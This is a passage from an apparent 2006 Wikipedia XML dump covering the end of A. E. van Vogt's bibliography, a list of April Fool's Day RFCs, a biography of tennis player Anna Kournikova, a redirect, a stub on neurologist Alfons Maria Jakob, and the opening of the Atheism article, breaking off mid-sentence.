* ''[[The Players of Null-A]]'' ([[1956]]) also published as ''The Pawns of Null-A''
* ''[[The Mind Cage]]'' ([[1957]])
* ''[[Empire of the Atom]]'' ([[1957]])
* ''[[Siege of the Unseen]]'' ([[1959]])
* ''[[The War against the Rull]]'' ([[1959]])
* ''[[Earth's Last Fortress]]'' ([[1960]])
* ''[[The Wizard of Linn]]'' ([[1962]])
* ''[[The Violent Man]]'' ([[1962]])
* ''[[The Beast (novel)|The Beast]]'' ([[1963]])
* ''[[The Twisted Men]]'' ([[1964]])
* ''[[Rogue Ship]]'' ([[1965]])
* ''[[The Winged Man]]'' ([[1966]])
* ''[[Moonbeast]]'' ([[1969]])
* ''[[The Silkie]]'' ([[1969]])
* ''[[Children of Tomorrow]]'' ([[1970]])
* ''[[Quest for the Future]]'' ([[1970]])
* ''[[The Battle of Forever]]'' ([[1971]])
* ''[[More Than Superhuman]]'' ([[1971]])
* ''[[The Darkness on Diamondia]]'' ([[1972]])
* ''[[Future Glitter]]'' ([[1973]])     
* ''[[The Man with a Thousand Names]]'' ([[1974]])
* ''[[The Secret Galactics]]'' ([[1974]]); also published as ''Earth Factor X''
* ''[[Supermind (novel)|Supermind]]'' ([[1974]])
* ''[[The Anarchistic Colossus]]'' ([[1977]])
* ''[[The Enchanted Village]]'' ([[1979]]) (chapbook)
* ''[[Renaissance (novel)|Renaissance]]'' ( [[1979]])
* ''[[Cosmic Encounter (novel)|Cosmic Encounter]]'' ([[1980]])
* ''[[Computerworld (novel)|Computerworld]]'' ([[1983]])
* ''[[Computer Eye]]'' ([[1983]])
* ''[[Null-A Three]]'' ([[1985]])
* ''[[To Conquer Kiber]]'' ([[1987]])

===Collections===

* ''M33 in Andromeda'' ([[1943]])
* ''Out of the Unknown'' ([[1948]]) (with [[Edna Mayne Hull]])
* ''Away and Beyond'' ([[1952]])
* ''Destination: Universe!'' ([[1952]])
* ''The Far-Out Worlds of A. E. van Vogt'' ([[1956]])
* ''Monsters'' ([[1965]])
* ''The Van Vogt Omnibus'' (omnibus - [[1967]])
* ''The Sea Thing and Other Stories'' ([[1970]])
* ''The Proxy Intelligence and Other Mind Benders'' ([[1971]])
* ''The Van Vogt Omnibus 2'' (omnibus - [[1971]])
* ''The Book of Van Vogt'' ([[1972]])
* ''Far Out Worlds of Van Vogt'' ([[1973]])
* ''The Three Eyes of Evil Including Earth's Last Fortress'' ([[1973]])
* ''The Best of A. E. van Vogt'' ([[1974]])
* ''[[The Gryb]]'' ([[1976]]) (with [[Edna Mayne Hull]])
* ''[[Pendulum (novel)|Pendulum]]'' ([[1978]])
* ''The Best of A. E. van Vogt 1949-1968'' ([[1979]])
* ''Lost: Fifty Suns'' ([[1979]])
* ''The Best of A E van Vogt 1940-1948'' ([[1979]])
* ''Futures Past: The Best Short Fiction of A.E. Van Vogt'' ([[1999]])
* ''Essential A.E. van Vogt'' ([[2002]])

===Non-fiction===

* ''The Hypnotism Handbook'' ([[1956]]) (with [[Charles Edward Cooke]])
* ''The Money Personality'' ([[1975]])
* ''Reflections of A. E. Van Vogt: The Autobiography of a Science Fiction Giant'' ([[1979]]) 
* ''A Report on the Violent Male'' ([[1992]])

==Reference==

* [http://www.isfdb.org/cgi-bin/ea.cgi?A._E._van_Vogt ISFDB.org] - 'A. E. van Vogt - Summary Bibliography (Long Works)', Internet Speculative Fiction Database

==External links==

* [http://www.home.earthlink.net/~icshi/ Earthlink.net] - 'Icshi: the A.E. van Vogt information site'
* [http://www.locusmag.com/2000/News/News01e.html LocusMag.com] - 'A.E. van Vogt, 1912 - 2000: Golden Age SF writer A.E. van Vogt died Wednesday, January&amp;nbsp;26 of complications of pneumonia' 
* [http://www.mmedia.is/vanvogt/ MMedia.is] - 'Weird Worlds of A. E. van Vogt: 1912-2000'
* [http://nicollsbooks.com/vanvogt/index.html NicollsBooks.com] - 'Al's van Vogt pages', Alan Nicoll
* [http://scifan.com/writers/vv/VanVogt.asp SciFan.com] - 'Writers: A. E. van Vogt (1912 - 2000, Canada)' (bibliography)
* [http://www.scifi.com/sfw/issue326/books2.html SciFi.com] - 'Transfinite: The Essential A.E. van Vogt: Vast conceptions, startling actions and average people rendered into tomorrow's supermen', Paul Di Filippo 
* [http://www.smartgroups.com/group/group.cfm?GID=1768914 SmartGroups.com] - 'vanvogt' (van Vogt discussion group)
* [http://home.kc.rr.com/bobfahey/vanvogt.htm Fansite]
* [http://www-users.cs.york.ac.uk/~susan/sf/books/v/aevanvgt.htm list of works]


[[Category:1912 births|Van Vogt, A. E.]]
[[Category:2000 deaths|Van Vogt, A. E.]]
[[Category:American writers|Van Vogt, A. E.]]
[[Category:Canadian science fiction writers|Van Vogt, A. E.]]
[[Category:Nebula Grand Masters|Van Vogt, A. E.]]


[[bg:Алфред ван Вогт]]
[[de:Alfred Elton van Vogt]]
[[es:A. E. van Vogt]]
[[eo:Alfred Elton VAN VOGT]]
[[fr:A. E. van Vogt]]
[[it:Alfred Elton van Vogt]]
[[nl:A.E. van Vogt]]
[[ja:A・E・ヴァン・ヴォークト]]
[[pl:Alfred Elton van Vogt]]
[[ru:Ван Вогт, Альфред]]
[[sv:A. E. van Vogt]]
[[th:เอ.อี. แวน โวกท์]]
[[zh:范·沃格特]]</text>
    </revision>
  </page>
  <page>
    <title>April 1st RFC</title>
    <id>889</id>
    <revision>
      <id>37780926</id>
      <timestamp>2006-02-02T02:40:44Z</timestamp>
      <contributor>
        <ip>218.188.0.150</ip>
      </contributor>
      <comment>/* External links */ +zh:</comment>
      <text xml:space="preserve">Every [[April Fool's Day]] ([[1 April]]) since [[1989]], the [[Internet Engineering Task Force]] has published one or more humorous [[Request for Comments|RFC]] documents, following in the path blazed by the June [[1973]] RFC titled '''ARPAWOCKY'''. The following list also includes [[humor]]ous RFCs published on other dates.

== List of April 1st RFCs and other humorous RFCs ==
* RFC 527 &amp;mdash; '''ARPAWOCKY'''. R. Merryman, [[University of California, San Diego|UCSD]]. [[22 June]] [[1973]]. A [[Lewis Carroll]] [[pastiche]].
* RFC 748 &amp;mdash; '''[[Telnet|TELNET]] RANDOMLY-LOSE option'''. M.R. Crispin. [[1 April]] [[1978]]. A parody of the [[Internet protocol suite|TCP/IP]] documentation style.
* RFC 968 &amp;mdash; '''Twas the night before start-up'''. V.G. Cerf, [[1 December]] [[1985]].
* RFC 1097 &amp;mdash; '''[[Telnet|TELNET]] SUBLIMINAL-MESSAGE option'''. B. Miller. [[1 April]] [[1989]].
* RFC 1149 &amp;mdash; '''Standard for the transmission of [[IP over Avian Carriers|IP datagrams on Avian Carriers]]'''. D. Waitzman. [[1 April]] [[1990]]. Updated by RFC 2549; see below. A deadpan skewering of standards-document [[legalese]], describing protocols for transmitting Internet data packets by [[carrier pigeon]].
** Fun fact: In [[2001]], RFC 1149 was actually implemented [http://www.blug.linux.no/rfc1149/] by members of the [[Bergen, Norway|Bergen (Norway)]] [[Linux]] User Group.
* RFC 1216 &amp;mdash; '''Gigabit Network Economics and Paradigm Shifts'''. Poorer Richard, Prof. Kynikos. [[1 April]] [[1991]].
* RFC 1217 &amp;mdash; '''Memo from the Consortium for Slow Commotion Research (CSCR)'''. [[Vint Cerf]]. [[1 April]] [[1991]].
* RFC 1313 &amp;mdash; '''Today's Programming for KRFC AM 1313 Internet Talk Radio'''. C. Partridge. [[1 April]] [[1992]]. Certain portions of this RFC are obsolete: [[Doppler effect|Doppler shift]] while flying on the [[Concorde]] is no longer a problem.
* RFC 1437 &amp;mdash; '''The Extension of [[MIME]] Content-Types to a New Medium'''. N. Borenstein, M. Linimon. [[1 April]] [[1993]].
* RFC 1438 &amp;mdash; '''[[Internet Engineering Task Force]] Statements Of Boredom (SOBs)'''. A. Lyman Chapin, C. Huitema. [[1 April]] [[1993]].
* RFC 1605 &amp;mdash; '''[[Synchronous optical networking|SONET]] to [[Sonnet]] Translation'''. [[William Shakespeare]]. [[1 April]] [[1994]].
* RFC 1606 &amp;mdash; '''A Historical Perspective On The Usage Of IP Version 9'''. J. Onions. [[1 April]] [[1994]].
* RFC 1607 &amp;mdash; '''A VIEW FROM THE 21ST CENTURY'''. [[Vint Cerf]]. [[1 April]] [[1994]].
* RFC 1776 &amp;mdash; '''The Address is the Message'''. [[Steve Crocker]]. [[1 April]] [[1995]]. Without content, would we need [[information security]]?
* RFC 1924 &amp;mdash; '''A Compact Representation of IPv6 Addresses'''. R. Elz. [[1 April]] [[1996]].
* RFC 1925 &amp;mdash; '''The Twelve Networking Truths'''. R. Callon. [[1 April]] [[1996]].
* RFC 1926 &amp;mdash; '''An Experimental Encapsulation of IP Datagrams on Top of ATM'''. J. Eriksson. [[1 April]] [[1996]].
* RFC 1927 &amp;mdash; '''Suggested Additional MIME Types for Associating Documents'''. C. Rogers. [[1 April]] [[1996]].
* RFC 2100 &amp;mdash; '''The Naming of Hosts'''. [[User:Baylink|J. Ashworth]]. [[1 April]] [[1997]].
* RFC 2321 &amp;mdash; '''RITA -- The Reliable Internetwork Troubleshooting Agent'''. A. Bressen. [[1 April]] [[1998]].
* RFC 2322 &amp;mdash; '''Management of IP numbers by peg-dhcp'''. K. van den Hout et al. [[1 April]] [[1998]].
* RFC 2323 &amp;mdash; '''IETF Identification and Security Guidelines'''. A. Ramos. [[1 April]] [[1998]].
* RFC 2324 &amp;mdash; '''[[Hyper Text Coffee Pot Control Protocol]] (HTCPCP/1.0)'''. L. Masinter. [[1 April]] [[1998]].
* RFC 2325 &amp;mdash; '''Definitions of Managed Objects for Drip-Type Heated Beverage Hardware Devices using SMIv2'''. M. Slavitch. [[1 April]] [[1998]].
* RFC 2549 &amp;mdash; '''[[IP over Avian Carriers]] with Quality of Service'''. D. Waitzman. [[1 April]] [[1999]]. Updates RFC 1149, listed above.
* RFC 2550 &amp;mdash; '''Y10K and Beyond'''. S. Glassman, M. Manasse, J. Mogul. [[1 April]] [[1999]].
* RFC 2551 &amp;mdash; '''The Roman Standards Process -- Revision III'''. S. Bradner. [[1 April]] [[1999]].
* RFC 2795 &amp;mdash; '''The Infinite Monkey Protocol Suite (IMPS)'''. S. Christey. [[1 April]] [[2000]].
* RFC 3091 &amp;mdash; '''Pi Digit Generation Protocol'''. H. Kennedy. [[1 April]] [[2001]].
* RFC 3092 &amp;mdash; '''Etymology of &quot;Foo&quot;'''. D. Eastlake 3rd, C. Manros, [[Eric S. Raymond|E. Raymond]]. [[1 April]] [[2001]].
* RFC 3093 &amp;mdash; '''Firewall Enhancement Protocol (FEP)'''. M. Gaynor, S. Bradner. [[1 April]] [[2001]].
* RFC 3251 &amp;mdash; '''Electricity over IP'''. B. Rajagopalan. [[1 April]] [[2002]].
* RFC 3252 &amp;mdash; '''''B''inary ''L''exical ''O''ctet ''A''d-hoc ''T''ransport'''. H. Kennedy. [[1 April]] [[2002]].
* RFC 3514 &amp;mdash; '''The Security Flag in the IPv4 Header (Evil Bit)'''. S. Bellovin. [[1 April]] [[2003]].
* RFC 3751 &amp;mdash; '''Omniscience Protocol Requirements'''. S. Bradner [[1 April]] [[2004]].
* RFC 4041 &amp;mdash; '''Requirements for Morality Sections in Routing Area Drafts'''. A. Farrel. [[1 April]] [[2005]].
* RFC 4042 &amp;mdash; '''[[UTF-9 and UTF-18]] Efficient Transformation Formats of Unicode'''. M. Crispin. [[1 April]] [[2005]].

== Source ==
{{FOLDOC}}

==External links==
* [http://cio.co.nz/cio.nsf/0/ab70aab0de0cba74cc256fd2007ff140?OpenDocument&amp;More=Special%20Feature&amp;Click= CIO Magazine commentary] on RFC 3751 and [[1 April]] RFCs in general

[[Category:April Fool's Day]]

[[ko:만우절 RFC]]
[[is:RFC aprílgabb]]
[[ru:Первоапрельские RFC]]
[[zh:惡搞RFC]]</text>
    </revision>
  </page>
  <page>
    <title>Anna Kournikova</title>
    <id>890</id>
    <revision>
      <id>41766222</id>
      <timestamp>2006-03-01T16:20:09Z</timestamp>
      <contributor>
        <username>Cactus.man</username>
        <id>264914</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.132.172.213|64.132.172.213]] to last version by Dunne409</comment>
      <text xml:space="preserve">[[Image:Anna Kournikova.jpg|thumb|right|260px|Anna Kournikova on the cover of [[Maxim (magazine)|''Maxim'' magazine]] in 2004.]]
'''Anna Sergeyevna Kournikova''' ([[Russian (language)|Russian]]: '''Анна Сергеевна Курникова''', ''Ánna Sergéyevna Kúrnikova;'' born [[June 7]], [[1981]]) was a professional [[tennis]] player. She was one of the best known tennis players, even among those who do not follow the game. Anna was born in [[Moscow]], [[Russia]] to Alla and Sergei Kournikov; her family later emigrated to the [[United States]], and she currently resides in [[Miami, Florida]]. Anna's major-league tennis career has been curtailed for the past several years by serious back &amp; spinal problems, and this might be the end of it. Anna has had some success at the singles game, but her specialty has been doubles, where she has become the world's #1 doubles player at times, and she has won Grand Slam titles in [[Australia]] in 1999 and 2002, with [[Martina Hingis]] as her partner. With Anna's being taller than the average tennis player, and being strong at the net and at the serve, she fits well into doubles. [Other comparable players have been [[Pam Shriver]] and [[Peter Fleming]], with numerous doubles championships to their credit, playing with shorter partners, such as [[Martina Navratilova]] and [[John McEnroe]]. With their skill and good looks, Anna and Martina jestingly called themselves &quot;The Spice Girls of Tennis&quot;.

==Tennis career==
[[Image:Anna Kournikova plait.jpg|thumb|left|Playing tennis.]]
Kournikova dazzled the world at age 13 and 14 in international junior tennis, winning several tournaments including the [[1995]] [[Rome Masters|Italian Open]]. Kournikova was 14 years old when she ended 1995 as Junior European Champion Under 18 and ITF Junior World Champion Under 18.

Kournikova debuted in professional tennis at age 14 in the [[Fed Cup]] for Russia, the youngest player ever to participate and win. At age 15, she reached the fourth round of the 1996 [[U.S. Open (tennis)|U.S. Open]], only to be stopped by then-top ranked player [[Steffi Graf]].

Kournikova was a member of the Russian delegation to the [[1996 Olympic Games]] in [[Atlanta, Georgia]]. In 1997, as a 16-year old, she reached the semi-finals of [[Wimbledon Championships|Wimbledon]], where she lost to the eventual champion, [[Martina Hingis]] by a score of 6-3, 6-2. 1998 was her breakthrough year, when she broke into the [[Women's Tennis Association|WTA]]'s top 20 rankings for the first time and scored impressive victories over [[Martina Hingis]], [[Lindsay Davenport]], and [[Steffi Graf]]. Kournikova's two [[Grand Slam in tennis|Grand Slam]] doubles titles came in [[1999]] and [[2002]], both at the [[Australian Open]] in the Women's Doubles event with partner [[Martina Hingis]], with whom she played frequently starting in 1999.

Kournikova proved a successful doubles player on the professional circuit, winning 16 tournament doubles titles, including two Australian Opens and being a finalist in mixed doubles at the [[U.S. Open]] and at Wimbledon, and reaching #1 ranking in doubles in the [[Women's Tennis Association]] tour rankings. Her pro career doubles record was 200-71. However, her singles career plateaued after 1999. For the most part, she managed to retain her ranking between #10 and #15 (her career high singles ranking was #8), but her expected finals breakthrough failed to occur; she only reached four finals out of 130 singles tournaments, never in a Grand Slam event, and never won one. One contributing factor might have been her habit of entering high-profile events with strong fields of elite players. As a player, Kournikova was noted for her excellent footspeed and aggressive baseline play; however, her flat, high-risk groundstrokes tended to produce high numbers of errors and her serve was sometimes unreliable in singles. [Anyone who wins big at doubles MUST serve well.] She had a record of 209-129 as a singles player.

Her final playing years were marred by a string of injuries, especially back injuries, which saw her ranking gradually erode. Kournikova has not played on the WTA tour since 2003, but still plays exhibition matches for charitable causes. In late 2004, she participated in three events organized by [[Elton John]] and by fellow tennis stars and good friends [[Serena Williams]] and [[Andy Roddick]]. In January [[2005]], she played in a doubles charity event for the [[Indian Ocean tsunami]] with [[John McEnroe]], Roddick, and [[Chris Evert]]. 

Anna was also a member of the Newport Beachbreakers in the World Team Tennis (WTT) competition in July and November 2005, playing doubles only. In November 2005 she teamed up with [[Martina Hingis]] playing against [[Lisa Raymond]] and [[Samantha Stosur]] in the WTT finals for charity. In a feature for ''[[Elle]]'' magazine's July 2005 issue, Kournikova stated that if she were 100% fit, she would like to come back and compete again.

==Media publicity==
[[Image:anna12.jpg|right|200px|thumb|Kournikova on the July, 2000 cover of [[Sports Illustrated]]]]Much of Anna's fame -- more, many have argued, than she ever gained in her tennis career -- has come from the publicity surrounding her personal life as well as numerous modeling shoots. During her debut at the 1996 U.S. Open 1996 at the age of 15, Kournikova's physical beauty was noticed by the world and soon pictures of her appeared in numerous magazines all over the planet. Anna has fine facial features and an attractive body, topped off by long blonde hair, sometimes braided into a meter-long queue (pony tail).

Many media outlets have reported that Kournikova was very briefly married to NHL hockey star [[Sergei Fedorov]] during the summer of 2001, though her agent and family deny this claim. A number of her relationships with other [[celebrity|celebrities]], including involvements with [[pop music|pop star]] [[Enrique Iglesias]] (whose video, ''Escape'', she appeared in) and hockey player [[Pavel Bure]], have also featured prominently in the [[tabloid|tabloid press]].
 
In 2000 Anna became the new face for [[Berlei]]'s shock absorber sports bras range, and appeared in the highly successful &quot;only the ball should bounce&quot; bill board campaign. Photographs of her scantily-clad form have appeared in various [[List of men's magazines|men's magazine]]s, including more than one much-publicized [[Sports Illustrated Swimsuit Issue]]s (2004-05), where she posed in bikinis and swimsuits, and in other popular men's publications such as ''[[FHM]]'' and ''[[Maxim (magazine)|Maxim]]''. So far, she has not posed topless or nude for any publications.
 
Kournikova was named one of ''[[People (magazine)|People]]'''s 50 Most Beautiful People in [[1998]], [[2000]], [[2002]], and [[2003]]. She has also been voted &quot;hottest female athlete&quot; and &quot;hottest couple&quot; (with Iglesias) on [[ESPN.com]] and 2003's &quot;sexiest woman in the world&quot; by worldwide [[FHM]] readers for. By contrast, [[ESPN]] -- citing the degree of hype as compared to actual accomplishments as a singles player -- ranked Anna 18&lt;sup&gt;th&lt;/sup&gt; in its &quot;25 Biggest Sports Flops of the Past 25 Years&quot;.

Kournikova had a small role (as a motel manager) in the 2000 film ''[[Me, Myself and Irene]]'', starring [[Jim Carrey]].

==Books==
*''Anna Kournikova'' by Susan Holden (2001)
*''Anna Kournikova (Women Who Win)'' by Connie Berman

==External links==
*[http://www.kournikova.com/ Official web site]
:*[http://www.kournikova.com/journal/ Her weblog]
*{{imdb name|id=0468045|name=Anna Kournikova}}
*[http://sports.quickfound.net/anna_kournikova_biography_index.html Comprehensive biography]
*[http://www.celebrityworld.tv/anna_kournikova.html Anna's Photos]
*[http://www.askmaki.com/anna_kournikova_video.html Anna Kournikova calendar shoot video]


[[Category:1981 births|Kournikova, Anna]]
[[Category:Living people|Kournikova, Anna]]
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[[Category:Russian film actors|Kournikova, Anna]]
[[Category:Australian Open champions|Kournikova, Anna]]

[[bg:Анна Курникова]]
[[da:Anna Kournikova]]
[[de:Anna Sergejewna Kurnikowa]]
[[fr:Anna Kournikova]]
[[he:אנה קורניקובה]]
[[nl:Anna Kournikova]]
[[ja:アンナ・クルニコワ]]
[[no:Anna Kournikova]]
[[pl:Anna Kurnikowa]]
[[pt:Anna Kournikova]]
[[ru:Курникова, Анна Сергеевна]]
[[fi:Anna Kurnikova]]
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[[bs:Ana Kurnikova]]</text>
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  </page>
  <page>
    <title>Accounting</title>
    <id>891</id>
    <revision>
      <id>15899404</id>
      <timestamp>2005-02-05T20:49:16Z</timestamp>
      <contributor>
        <ip>24.73.149.165</ip>
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      <text xml:space="preserve">#REDIRECT [[Accountancy]]</text>
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  </page>
  <page>
    <title>Alfons Maria Jakob</title>
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      <text xml:space="preserve">'''Alfons Maria Jakob''' ([[July 2]], [[1884]] &amp;ndash; [[October 17]], [[1931]]) was a [[Germany|German]- Jewish] [[neurologist]]. He was the first to recognize and describe [[Alper's disease]] and [[Creutzfeldt-Jakob disease]] (the latter with [[Hans Gerhard Creutzfeldt]]) and helped greatly in the description of various other neurological illnesses.

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  <page>
    <title>Atheism</title>
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        <username>JuniorMuruin</username>
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      <minor />
      <comment>/* Types and typologies of atheism */</comment>
      <text xml:space="preserve">{{redirect|Atheist|the band|[[Atheist (band)]]}}
'''Atheism''', in its broadest sense, is an absence of belief in the existence of [[deity|gods]]. This definition includes as atheists both those who assert that there are no gods, and those who make no claim about whether gods exist or not. Narrower definitions, however, often only qualify those who assert there are no gods as atheists, labeling the others as [[nontheism|nontheists]] or [[Agnosticism|agnostics]].

Although atheists often share common concerns regarding [[empiricism|empirical]] evidence and the [[scientific method]] of investigation and a large number are [[scientific skepticism|skeptics]], there is no single [[ideology]] that all atheists share. Additionally, there are certain individuals whose [[Religion|religious]] or [[spirituality|spiritual]] beliefs some might describe as atheistic, though those holding such beliefs do not normally describe themselves as atheists. 

Atheism should not be confused with the related, but not equivalent, position of [[antitheism]], as many atheists do not directly oppose theism.

==Etymology==
In early [[Ancient Greek]], the adjective ''atheos'' (from [[privative a|privative ''a-'']] + ''theos'' &quot;gods&quot;) meant &quot;without gods&quot; or &quot;lack of belief in gods&quot;. The word acquired an additional meaning in the [[5th century BCE]], expressing a total lack of relations with the gods; that is, &quot;denying the gods, godless, ungodly&quot;, with more active connotations than ''asebēs'', &quot;impious&quot;. Modern translations of classical texts sometimes translate ''atheos'' as &quot;atheistic&quot;. As an abstract noun, there was also ''atheotēs'': &quot;atheism&quot;. [[Cicero]] transliterated ''atheos'' into [[Latin]]. The discussion of ''atheoi'' was pronounced in the debate between early Christians and pagans, who each attributed atheism to the other. 

A.B. Drachmann (1922) notes:

&lt;blockquote&gt;Atheism and atheist are words formed from Greek roots and with Greek derivative endings. Nevertheless they are not Greek; their formation is not consonant with Greek usage. In Greek they said ''atheos'' and ''atheotes''; to these the English words ungodly and ungodliness correspond rather closely. In exactly the same way as ungodly, ''atheos'' was used as an expression of severe censure and moral condemnation; this use is an old one, and the oldest that can be traced. Not till later do we find it employed to denote a certain philosophical creed. (p.5)&lt;/blockquote&gt;

In [[English language|English]], the term ''atheism'' is the result of the adoption of the [[French language|French]] ''athéisme'' in about 1587. The term ''atheist'' in the sense of &quot;one who denies or disbelieves&quot; actually predates atheism, being first attested in about 1571 (the phrase ''Italian atheoi'' is recorded as early as 1568). ''Atheist'' in the sense of practical godlessness was first attested in 1577. The French word is derived from ''athée'', &quot;godless, atheist&quot;, which in turn is from the [[Greek language|Greek]] ''atheos''. The words ''deist'' and ''theist'' entered English after ''atheism'', being first attested in 1621 and 1662, respectively, with ''[[theism]]'' and ''[[deism]]'' following in 1678 and 1682, respectively. ''Deism'' and ''theism'' exchanged meanings around 1700 due to the influence of ''atheism''. ''Deism'' was originally used with a meaning comparable to today's ''theism'', and vice-versa.

The [[Oxford English Dictionary]] also records an earlier irregular formation, ''atheonism'', dated from about 1534. The later and now obsolete words ''athean'' and ''atheal'' are dated to 1611 and 1612, respectively.

==Types and typologies of atheism==
Many people have disagreed on how best to characterize atheism, and much of the literature on the subject is erroneous or confusing. There are many discrepancies in the use of terminology between proponents and opponents of atheism, and even divergent definitions among those who share near-identical beliefs.

Among proponents of atheism and neutral parties, there are two major traditions in defining atheism and its subdivisions. The first tradition understands atheism very broadly, as including both those who believe gods don't exist (''[[strong atheism]]'') and those who are simply not theists (''[[weak atheism]]''). [[George H. Smith]], [[Michael Martin (philosopher)|Michael Martin]], and (formerly) [[Antony Flew]] fall into this tradition, though they do not use the same terminology. (Flew has recently adopted a form of [[deism]].)

The second tradition understands atheism more narrowly, as the conscious rejection of theism, and does not consider absence of theistic belief or suspension of judgment concerning theism to be forms of atheism. [[Ernest Nagel]], [[Paul Edwards (philosopher)|Paul Edwards]] and [[Kai Nielsen]] are prominent members of this camp. Using this definition of atheism, &quot;[[Atheism#Implicit and explicit atheism|implicit atheism]]&quot;, lack of theism without the conscious rejection of it, may not be regarded as atheistic at all, and the umbrella term ''[[nontheism]]'' may be used in its place.

A third tradition, more common among laypeople, understands atheism even more narrowly than that. Here, atheism is defined in the strongest possible terms, as the belief that there is no god.  Such usage is not exclusive to laypeople, however--atheist philosopher Theodore Drange uses the narrow definition [http://www.infidels.org/library/modern/theodore_drange/defending.html].

===Atheism as lack of theism===
Among modern atheists, the view that atheism means &quot;without [or, polemically, &quot;free of&quot;] theistic beliefs&quot; has a great deal of currency. This very broad definition is justified by reference to etymology as well as consistent usage of the word by atheists. 

However, this definition of atheism has not gone unchallenged. Although, over the last few hundred years, atheism has evolved and broadened beyond the narrow meaning of &quot;wickedness&quot;, impiety, heresy and religious denial, as well as [[pantheism]] and similar beliefs, it is less commonly understood to include everything not explicitly theistic. Whether a writer's definition of atheism as an &quot;absence&quot; or &quot;lack&quot; of theistic belief is in fact intended to mean &quot;not theistic&quot; in the widest possible sense, or just refers to particular forms of the rejection of theism (see below), is often ambiguous.

However, while this definition of atheism is frequently disputed, it is not a recent invention; this use has a history spanning over 230 years. Two atheist writers who are clear in defining atheism so broadly that uninformed children are counted as atheists are d'Holbach (1772) (&quot;All children are born Atheists; they have no idea of God&quot; [http://www.gutenberg.org/dirs/etext05/gsens10.txt]) and George H. Smith (1979).

According to Smith,

&lt;blockquote&gt;The man who is unacquainted with theism is an atheist because he does not believe in a god. This category would also include the child without the conceptual capacity to grasp the issues involved, but who is still unaware of those issues. The fact that this child does not believe in god qualifies him as an atheist. (p.14) [http://www.positiveatheism.org/writ/smith.htm] &lt;/blockquote&gt;

One atheist writer who explicitly disagrees with such a broad definition is Ernest Nagel (1965):

&lt;blockquote&gt;Atheism is not to be identified with sheer unbelief... Thus, a child who has received no religious instruction and has never heard about God, is not an atheist - for he is not denying any theistic claims. (p.460-461)&lt;/blockquote&gt;

For Nagel, atheism is the ''rejection'' of theism, not just the absence of theistic belief. However, this definition leaves open the question of what term can be used to describe those who lack theistic belief, but do not necessarily reject theism.

The obsolete word ''atheous'', first recorded in the [[Oxford English Dictionary]] as a synonym of atheism or impiety, is sometimes used to mean &quot;not dealing with the existence of a god&quot; in a purely privative sense, as distinguished from the negative ''atheistic''. This 1880 coinage captures some of what is intended by the broad definition of atheism, though it is hard to sustain the claim that the philosophical rejection of theism can be characterized in such terms.

====Implicit and explicit atheism====
[[Image:Atheismimplicitexplicit2.PNG|thumb|230px|A chart showing the relationship between the weak/strong (positive/negative) and implicit/explicit dichotomies. Strong atheism is always explicit, and implicit atheism is always weak.]]
The terms ''implicit atheism'' and ''explicit atheism'' were coined by George H. Smith (1979, p.13-18). 

Implicit atheism is defined by Smith as &quot;the absence of theistic belief without a conscious rejection of it.&quot; Explicit atheism is defined as &quot;the absence of theistic belief due to a conscious rejection of it&quot;, which, according to Smith, is sometimes called ''antitheism'' (see below). 

For Smith, explicit atheism is subdivided further according to whether or not the rejection is on rational grounds. The term ''critical atheism'' is used to label the view that belief in god is irrational, and is itself subdivided into a) the view usually expressed by the statement &quot;I do not believe in the existence of a god or supernatural being&quot;; b) the view usually expressed by the statement, &quot;god does not exist&quot; or &quot;the existence of god is impossible&quot;; and c) the view which &quot;refuses to discuss the existence or nonexistence of a god&quot; because &quot;the concept of a god is unintelligible&quot; (p.17).

Although Nagel rejects Smith's definition of atheism as merely &quot;lack of theism&quot;, acknowledging only explicit &quot;atheism&quot; as true atheism, his tripartite classification of ''rejectionist atheism'' (commonly found in the philosophical literature) is identical to Smith's ''critical atheism'' typology.

The difference between Nagel on the one hand and d'Holbach and Smith on the other has been attributed to the different concerns of professional philosophers and layman proponents of atheism (see Smith (1990, Chapter 3, p.51-60 [http://www.positiveatheism.org/writ/smithdef.htm]), for example, but also alluded to by others).

Everitt (2004) makes the point that professional philosophers are more interested in the grounds for giving or withholding assent to propositions:

&lt;blockquote&gt;We need to distinguish between a ''biographical'' or ''sociological'' enquiry into why some people have believed or disbelieved in God, and an ''epistemological'' enquiry into whether there are any good reasons for either belief or unbelief... We are interested in the question of what ''good reasons'' there are for or against God's existence, and no light is thrown on that question by discovering people who hold their beliefs without having good reasons for them. (p.10) &lt;/blockquote&gt;

So, in philosophy (Flew and Martin notwithstanding), atheism is commonly defined along the lines of &quot;rejection of theistic belief&quot;. This is often misunderstood to mean only the view that there is no God, but it is conventional to distinguish between two or three main sub-types of atheism in this sense (writers differ in their characterization of this distinction, and in the labels they use for these positions).

The terms ''weak atheism'' and ''strong atheism'' (or ''negative atheism'' and ''positive atheism'') are often used as synonyms of Smith's less-well-known ''implicit'' and ''explicit'' categories. However, the original and technical meanings of implicit and explicit atheism are quite different and distinct from weak and strong atheism, having to do with conscious rejection and unconscious rejection of theism rather than with positive belief and negative belief.

People who do not use the broad definition of atheism as &quot;lack of theism&quot;, but instead use the most common definition &quot;disbelief in or denial of the existence of God or gods&quot; [http://dictionary.reference.com/search?q=atheism] would not recognize mere absence of belief in deities (implicit atheism) as a type of atheism at all, and would tend to use other terms, such as &quot;skeptic&quot; or &quot;agnostic&quot; or &quot;non-atheistic nontheism&quot;, for this position.

===Atheism as immorality===
The first attempts to define or develop a typology of atheism were in religious apologetics. These attempts were expressed in terminologies and in contexts which reflected the religious assumptions and prejudices of the writers. A diversity of atheist opinion has been recognized at least since [[Plato]], and common distinctions have been established between ''practical atheism'' and ''speculative'' or ''contemplative atheism''.

====Practical atheism====
Practical atheism was said to be caused by moral failure, hypocrisy, willful ignorance and infidelity. Practical atheists ''behaved'' as though God, morals, ethics and social responsibility did not exist. Maritain's typology of atheism (1953, Chapter 8) proved influential in Catholic circles; it was followed in the ''New Catholic Encyclopedia'' (see Reid (1967)). He identified, in addition to practical atheism, ''pseudo-atheism'' and ''absolute atheism'' (and subdivided theoretical atheism in a way that anticipated Flew). For an atheist critique of Maritain, see Smith (1979, Chapter 1, Section 5) [http://www.positiveatheism.org/writ/smith.htm].

According to the French Catholic philosopher Étienne Borne (1961, p.10), &quot;Practical atheism is not the denial of the existence of God, but complete godlessness of action; it is a moral evil, implying not the denial of the absolute validity of the moral law but simply rebellion against that law.&quot; 

According to [[Karen Armstrong]] (1999):

